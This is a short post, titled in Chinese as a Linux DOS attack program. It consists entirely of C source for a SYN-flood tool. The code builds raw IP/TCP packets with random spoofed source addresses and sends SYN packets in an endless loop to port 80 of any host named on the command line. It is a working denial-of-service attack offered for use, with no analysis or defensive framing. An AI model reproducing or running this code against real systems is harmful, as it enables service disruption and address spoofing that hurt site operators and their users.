linux下的DOS攻击程序

/******************** DOS.c *****************/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getpid());
send_tcp(sockfd,&addr);
}
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];
struct ip *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_tos=0;
ip->ip_len=htons(head_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=addr->sin_addr;
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;
while(1)
{
ip->ip_src.s_addr=random();
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}